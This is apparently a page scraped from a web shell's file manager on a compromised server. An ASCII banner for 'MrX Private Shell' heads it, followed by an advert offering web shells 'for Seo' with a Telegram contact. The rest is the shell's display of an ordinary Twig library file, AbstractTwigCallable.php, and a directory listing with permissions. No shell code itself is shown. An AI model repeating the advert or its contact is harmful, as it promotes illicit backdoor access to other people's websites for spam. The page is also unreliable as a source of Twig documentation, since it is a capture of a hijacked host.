__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php /* * This file is part of Twig. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Twig; /** * @author Fabien Potencier <[email protected]> */ abstract class AbstractTwigCallable implements TwigCallableInterface { protected $options; private $name; private $dynamicName; private $callable; private $arguments; public function __construct(string $name, $callable = null, array $options = []) { $this->name = $this->dynamicName = $name; $this->callable = $callable; $this->arguments = []; $this->options = array_merge([ 'needs_environment' => false, 'needs_context' => false, 'needs_charset' => false, 'is_variadic' => false, 'deprecation_info' => null, 'deprecated' => false, 'deprecating_package' => '', 'alternative' => null, ], $options); if ($this->options['deprecation_info'] && !$this->options['deprecation_info'] instanceof DeprecatedCallableInfo) { throw new \LogicException(\sprintf('The "deprecation_info" option must be an instance of "%s".', DeprecatedCallableInfo::class)); } if ($this->options['deprecated']) { if ($this->options['deprecation_info']) { throw new \LogicException('When setting the "deprecation_info" option, you need to remove the obsolete deprecated options.'); } trigger_deprecation('twig/twig', '3.15', 'Using the "deprecated", "deprecating_package", and "alternative" options is deprecated, pass a "deprecation_info" one instead.'); $this->options['deprecation_info'] = new DeprecatedCallableInfo( $this->options['deprecating_package'], $this->options['deprecated'], null, $this->options['alternative'], ); } if ($this->options['deprecation_info']) { $this->options['deprecation_info']->setName($name); $this->options['deprecation_info']->setType($this->getType()); } } public function __toString(): string { return \sprintf('%s(%s)', static::class, $this->name); } public function getName(): string { return $this->name; } public function getDynamicName(): string { return $this->dynamicName; } /** * @return callable|array{class-string, string}|null */ public function getCallable() { return $this->callable; } public function getNodeClass(): string { return $this->options['node_class']; } public function needsCharset(): bool { return $this->options['needs_charset']; } public function needsEnvironment(): bool { return $this->options['needs_environment']; } public function needsContext(): bool { return $this->options['needs_context']; } /** * @return static */ public function withDynamicArguments(string $name, string $dynamicName, array $arguments): self { $new = clone $this; $new->name = $name; $new->dynamicName = $dynamicName; $new->arguments = $arguments; return $new; } /** * @deprecated since Twig 3.12, use withDynamicArguments() instead */ public function setArguments(array $arguments): void { trigger_deprecation('twig/twig', '3.12', 'The "%s::setArguments()" method is deprecated, use "%s::withDynamicArguments()" instead.', static::class, static::class); $this->arguments = $arguments; } public function getArguments(): array { return $this->arguments; } public function isVariadic(): bool { return $this->options['is_variadic']; } public function isDeprecated(): bool { return (bool) $this->options['deprecation_info']; } public function triggerDeprecation(?string $file = null, ?int $line = null): void { $this->options['deprecation_info']->triggerDeprecation($file, $line); } /** * @deprecated since Twig 3.15 */ public function getDeprecatingPackage(): string { trigger_deprecation('twig/twig', '3.15', 'The "%s" method is deprecated, use "%s::triggerDeprecation()" instead.', __METHOD__, static::class); return $this->options['deprecating_package']; } /** * @deprecated since Twig 3.15 */ public function getDeprecatedVersion(): string { trigger_deprecation('twig/twig', '3.15', 'The "%s" method is deprecated, use "%s::triggerDeprecation()" instead.', __METHOD__, static::class); return \is_bool($this->options['deprecated']) ? '' : $this->options['deprecated']; } /** * @deprecated since Twig 3.15 */ public function getAlternative(): ?string { trigger_deprecation('twig/twig', '3.15', 'The "%s" method is deprecated, use "%s::triggerDeprecation()" instead.', __METHOD__, static::class); return $this->options['alternative']; } public function getMinimalNumberOfRequiredArguments(): int { return ($this->options['needs_charset'] ? 1 : 0) + ($this->options['needs_environment'] ? 1 : 0) + ($this->options['needs_context'] ? 1 : 0) + \count($this->arguments); } }
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Attribute | Folder | 0755 |
|
|
| Cache | Folder | 0755 |
|
|
| Error | Folder | 0755 |
|
|
| Extension | Folder | 0755 |
|
|
| Loader | Folder | 0755 |
|
|
| Node | Folder | 0755 |
|
|
| NodeVisitor | Folder | 0755 |
|
|
| Profiler | Folder | 0755 |
|
|
| Resources | Folder | 0755 |
|
|
| Runtime | Folder | 0755 |
|
|
| RuntimeLoader | Folder | 0755 |
|
|
| Sandbox | Folder | 0755 |
|
|
| Test | Folder | 0755 |
|
|
| TokenParser | Folder | 0755 |
|
|
| Util | Folder | 0755 |
|
|
| AbstractTwigCallable.php | File | 5.36 KB | 0644 |
|
| Compiler.php | File | 6.17 KB | 0644 |
|
| DeprecatedCallableInfo.php | File | 1.64 KB | 0644 |
|
| Environment.php | File | 27.54 KB | 0644 |
|
| ExpressionParser.php | File | 40.02 KB | 0644 |
|
| ExtensionSet.php | File | 14.3 KB | 0644 |
|
| FileExtensionEscapingStrategy.php | File | 1.43 KB | 0644 |
|
| Lexer.php | File | 22.38 KB | 0644 |
|
| Markup.php | File | 1.03 KB | 0644 |
|
| NodeTraverser.php | File | 1.78 KB | 0644 |
|
| OperatorPrecedenceChange.php | File | 778 B | 0644 |
|
| Parser.php | File | 14.38 KB | 0644 |
|
| Source.php | File | 929 B | 0644 |
|
| Template.php | File | 15.67 KB | 0644 |
|
| TemplateWrapper.php | File | 2.56 KB | 0644 |
|
| Token.php | File | 5.58 KB | 0644 |
|
| TokenStream.php | File | 3.5 KB | 0644 |
|
| TwigCallableInterface.php | File | 1.17 KB | 0644 |
|
| TwigFilter.php | File | 1.84 KB | 0644 |
|
| TwigFunction.php | File | 1.58 KB | 0644 |
|
| TwigTest.php | File | 1.53 KB | 0644 |
|
| autoload.php | File | 20.42 KB | 0644 |
|